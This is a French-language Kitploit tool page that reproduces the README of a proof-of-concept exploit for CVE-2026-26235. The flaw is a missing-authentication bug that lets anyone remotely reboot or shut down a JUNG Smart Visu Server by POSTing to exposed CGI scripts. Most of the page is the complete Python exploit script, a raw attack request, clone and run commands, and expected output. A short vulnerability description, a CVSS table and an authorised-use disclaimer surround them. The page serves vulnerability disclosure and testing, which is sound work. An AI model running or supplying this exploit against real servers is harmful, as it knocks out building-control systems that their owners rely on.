Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-26235-JUNG-Smart-Visu-Server-Unauthenticated-Reboot-Shutdown — Preuve de concept d'exploitation pour CVE-2026-26235, une vulnérabilité de déni de service non authentifiée dans JUNG Smart Visu Server <=1.1.1050, permettant un redémarrage ou un arrêt à distance via des points de terminaison CGI exposés. | Kitploit
Outils/GitHubGitHub/mbanyamer/cve-2026-26235-jung-smart-visu-server-unauthenticated-reboot-shutdown
Sécurité IoTAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'Intrusion
GitHubmbanyamer/cve-2026-26235-jung-smart-visu-server-unauthenticated-reboot-shutdown

CVE-2026-26235-JUNG-Smart-Visu-Server-Unauthenticated-Reboot-Shutdown

Preuve de concept d'exploitation pour CVE-2026-26235, une vulnérabilité de déni de service non authentifiée dans JUNG Smart Visu Server <=1.1.1050, permettant un redémarrage ou un arrêt à distance via des points de terminaison CGI exposés.

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
8il y a 7 moisPas encore vérifié

👤 Auteur

Mohammed Idrees Banyamer

  • 📍 Pays : Jordanie
  • 📸 Instagram : @banyamer_security

Python Version CVE CVSS CWE Author

Preuve de concept pour CVE-2026-26235 - Déni de service non authentifié via l'absence d'authentification dans JUNG Smart Visu Server ≤ 1.1.1050.


🚨 Description de la vulnérabilité

CVE-2026-26235 est une vulnérabilité de déni de service non authentifié dans JUNG Smart Visu Server versions ≤ 1.1.1050. Le produit ne met pas en œuvre d'authentification pour les fonctions critiques de gestion du système, permettant à des attaquants distants de redémarrer ou d'éteindre le serveur avec une seule requête POST.

Les points de terminaison /cgi-bin/reboot.sh et /cgi-bin/shutdown.sh sont exposés sans aucune vérification d'authentification. Aucun jeton de session, clé API ou identifiant n'est requis pour déclencher ces commandes au niveau système.

Cela permet :

  • Redémarrage/arrêt système non authentifié
  • Aucune interaction utilisateur requise
  • Interruption complète du service
  • Déni de service persistant

🎯 Versions concernées

StatutVersion
❌ VulnérableJUNG Smart Visu Server ≤ 1.1.1050
✅ CorrigéPas encore publié

Testé sur : JUNG Smart Visu Server 1.1.1050, Linux embarqué


💥 Impact


🔬 Détails techniques

Cause racine

  1. Absence d'authentification - CWE-306 : Le produit n'effectue aucune authentification pour les fonctions critiques du système
  2. Points de terminaison CGI exposés - /cgi-bin/reboot.sh et /cgi-bin/shutdown.sh sont accessibles publiquement
  3. Aucune validation de session - Aucune vérification de cookie, jeton ou identifiant n'est effectuée
  4. Exécution directe de commandes système - Les scripts CGI exécutent des commandes de redémarrage/arrêt du système sans vérification des privilèges

Flux de la vulnérabilité

root@kitploit:~
Attaquant → POST /cgi-bin/reboot.sh → Aucune vérification d'authentification → Redémarrage du système → DoS
Attaquant → POST /cgi-bin/shutdown.sh → Aucune vérification d'authentification → Arrêt du système → DoS

🛠️ Preuve de concept

Script d'exploitation Python

root@kitploit:~
#!/usr/bin/env python3
# Exploit Title: JUNG Smart Visu Server - Unauthenticated Remote Reboot/Shutdown
# CVE: CVE-2026-26235
# Date: 2026-02-12
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub: https://github.com/banyamer-security
# Vendor Homepage: https://www.jung.de
# Software Link: https://www.jung.de/smart-visu-server
# Vulnerable: JUNG Smart Visu Server <= 1.1.1050
# Tested on: JUNG Smart Visu Server 1.1.1050
# Category: Web Application
# Platform: Embedded/Linux
# Exploit Type: Missing Authentication (CWE-306)

import requests
import sys
import argparse
from urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

def print_banner():
    print("\n" + "="*60)
    print(" JUNG Smart Visu Server - Unauthenticated Reboot/Shutdown PoC")
    print(" CVE-2026-26235 | CWE-306")
    print("="*60 + "\n")

def exploit(target, action="reboot", verify_ssl=False, timeout=10):
    endpoints = {
        "reboot": "/cgi-bin/reboot.sh",
        "shutdown": "/cgi-bin/shutdown.sh"
    }
    
    if action not in endpoints:
        print(f"[-] Invalid action: {action}. Choose 'reboot' or 'shutdown'.")
        return False
    
    url = f"{target.rstrip('/')}{endpoints[action]}"
    
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0",
        "Content-Type": "application/x-www-form-urlencoded",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate, br",
        "Connection": "keep-alive",
        "Upgrade-Insecure-Requests": "1",
        "Sec-Fetch-Dest": "document",
        "Sec-Fetch-Mode": "navigate",
        "Sec-Fetch-Site": "same-origin",
        "Sec-Fetch-User": "?1",
        "Cache-Control": "max-age=0",
        "Origin": target.rstrip('/'),
        "Referer": f"{target.rstrip('/')}/",
        "DNT": "1",
        "Sec-GPC": "1"
    }
    
    print(f"[*] Target      : {url}")
    print(f"[*] Action      : {action.upper()}")
    print(f"[*] SSL Verify  : {verify_ssl}")
    print("[*] Sending unauthenticated POST request...\n")
    
    try:
        response = requests.post(
            url, 
            headers=headers,
            data="",  
            verify=verify_ssl,
            timeout=timeout,
            allow_redirects=False
        )
        
        print(f"[+] Request sent successfully!")
        print(f"[+] HTTP Status : {response.status_code}")
        
        if response.status_code == 200:
            print("[!] Server responded with 200 OK - action likely executed")
        elif response.status_code == 302 or response.status_code == 301:
            print("[!] Server responded with redirect - action may have been triggered")
        else:
            print(f"[?] Unexpected response code: {response.status_code}")
        
        if response.text:
            print(f"[*] Response preview: {response.text[:200].strip()}")
        
        print("\n[!] If successful, the target server should now be restarting or shutting down.")
        return True
        
    except requests.exceptions.Timeout:
        print("[-] Connection timeout. The server may be down or unreachable.")
        print("[*] This could indicate successful DoS if the server was previously reachable.")
        return True
    except requests.exceptions.ConnectionError as e:
        print(f"[-] Connection error: {e}")
        print("[*] The server may have gone down - possibly successful exploitation.")
        return True
    except Exception as e:
        print(f"[-] An error occurred: {e}")
        return False

def main():
    print_banner()
    
    parser = argparse.ArgumentParser(
        description="PoC for CVE-2026-26235 - JUNG Smart Visu Server Unauthenticated Reboot/Shutdown"
    )
    parser.add_argument(
        "target",
        help="Target server URL (e.g., https://192.168.1.100:8080)"
    )
    parser.add_argument(
        "-a", "--action",
        choices=["reboot", "shutdown"],
        default="reboot",
        help="Action to perform: reboot or shutdown (default: reboot)"
    )
    parser.add_argument(
        "-k", "--insecure",
        action="store_false",
        dest="verify_ssl",
        default=False,
        help="Disable SSL certificate verification (default: disabled)"
    )
    parser.add_argument(
        "-t", "--timeout",
        type=int,
        default=10,
        help="Request timeout in seconds (default: 10)"
    )
    
    args = parser.parse_args()
    
    print(f"[*] Starting exploit against: {args.target}\n")
    
    success = exploit(
        target=args.target,
        action=args.action,
        verify_ssl=args.verify_ssl,
        timeout=args.timeout
    )
    
    if success:
        print("\n[+] Exploit completed successfully.")
    else:
        print("\n[-] Exploit failed.")
        sys.exit(1)

if __name__ == "__main__":
    main()

Requête HTTP brute

root@kitploit:~
POST /cgi-bin/reboot.sh HTTP/1.1
Host: 192.168.1.100:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Cache-Control: max-age=0
Origin: http://192.168.1.100:8080
Referer: http://192.168.1.100:8080/
DNT: 1
Sec-GPC: 1
Content-Length: 0


📦 Installation

root@kitploit:~
git clone https://github.com/banyamer-security/CVE-2026-26235.git
cd CVE-2026-26235
pip install requests
chmod +x CVE-2026-26235.py

🚀 Utilisation

Redémarrage de base

root@kitploit:~
python3 CVE-2026-26235.py https://192.168.1.100:8080

Arrêt

root@kitploit:~
python3 CVE-2026-26235.py https://192.168.1.100:8080 -a shutdown

Désactiver la vérification SSL

root@kitploit:~
python3 CVE-2026-26235.py https://smartvisu.local -k

Délai d'expiration personnalisé

root@kitploit:~
python3 CVE-2026-26235.py https://192.168.1.100:8080 -t 15

Aide

root@kitploit:~
python3 CVE-2026-26235.py -h

Sortie attendue

root@kitploit:~
============================================================
 JUNG Smart Visu Server - Unauthenticated Reboot/Shutdown PoC
 CVE-2026-26235 | CWE-306
============================================================

[*] Starting exploit against: https://192.168.1.100:8080

[*] Target      : https://192.168.1.100:8080/cgi-bin/reboot.sh
[*] Action      : REBOOT
[*] SSL Verify  : False
[*] Sending unauthenticated POST request...

[+] Request sent successfully!
[+] HTTP Status : 200
[!] Server responded with 200 OK - action likely executed

[!] If successful, the target server should now be restarting.
[+] Exploit completed successfully.

📚 Références

  • Avis VulnCheck
  • Zero Science Lab - ZSL-2026-5971
  • CWE-306 : Absence d'authentification pour une fonction critique
  • NVD - CVE-2026-26235 (en attente)

👤 Auteur

Mohammed Idrees Banyamer

  • 📍 Pays : Jordanie
  • 📸 Instagram : @banyamer_security
  • 🐙 GitHub : banyamer-security
  • 🔗 LinkedIn : Mohammed Banyamer
  • 📧 Email : [email protected]

⚠️ Avertissement

Cette preuve de concept est fournie uniquement à des fins éducatives et de tests de sécurité autorisés. L'auteur n'est pas responsable de toute utilisation abusive ou de tout dommage causé par ce logiciel.

Les tests non autorisés contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite sont illégaux.


📄 Licence

Licence MIT

Copyright (c) 2026 Mohammed Idrees Banyamer

La permission est accordée, gratuitement, à toute personne obtenant une copie de ce logiciel et des fichiers de documentation associés (le « Logiciel »), de traiter le Logiciel sans restriction, y compris, sans limitation, les droits d'utiliser, de copier, de modifier, de fusionner, de publier, de distribuer, de sous-licencier et/ou de vendre des copies du Logiciel, et de permettre aux personnes à qui le Logiciel est fourni de le faire, sous réserve des conditions suivantes :

L'avis de droit d'auteur ci-dessus et cet avis d'autorisation doivent être inclus dans toutes les copies ou parties substantielles du Logiciel.

LE LOGICIEL EST FOURNI « EN L'ÉTAT », SANS GARANTIE D'AUCUNE SORTE, EXPRESSE OU IMPLICITE, Y COMPRIS, MAIS SANS S'Y LIMITER, LES GARANTIES DE QUALITÉ MARCHANDE, D'ADÉQUATION À UN USAGE PARTICULIER ET D'ABSENCE DE CONTREFAÇON. EN AUCUN CAS, LES AUTEURS OU TITULAIRES DU DROIT D'AUTEUR NE POURRONT ÊTRE TENUS RESPONSABLES DE TOUTE RÉCLAMATION, DE TOUT DOMMAGE OU AUTRE RESPONSABILITÉ, QUE CE SOIT DANS LE CADRE D'UNE ACTION CONTRACTUELLE, DÉLICTUELLE OU AUTRE, DÉCOULANT DE, OU EN RELATION AVEC LE LOGICIEL OU L'UTILISATION OU AUTRES TRANSACTIONS DANS LE LOGICIEL.


⭐ Soutien

Si cet exploit a aidé vos recherches ou vos tests :

  • ⭐ Mettez une étoile à ce dépôt
  • 🔁 Partagez avec d'autres chercheurs
  • 📢 Suivez @banyamer_security sur Instagram

Divulgation responsable • Recherche en sécurité • CVE-2026-26235

Télécharger l’outil
VecteurDescription
CVSS v48.7 (Élevé) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
AuthentificationAucune - Complètement non authentifié
Vecteur d'attaqueRéseau
ComplexitéFaible
ImpactImpact élevé sur la disponibilité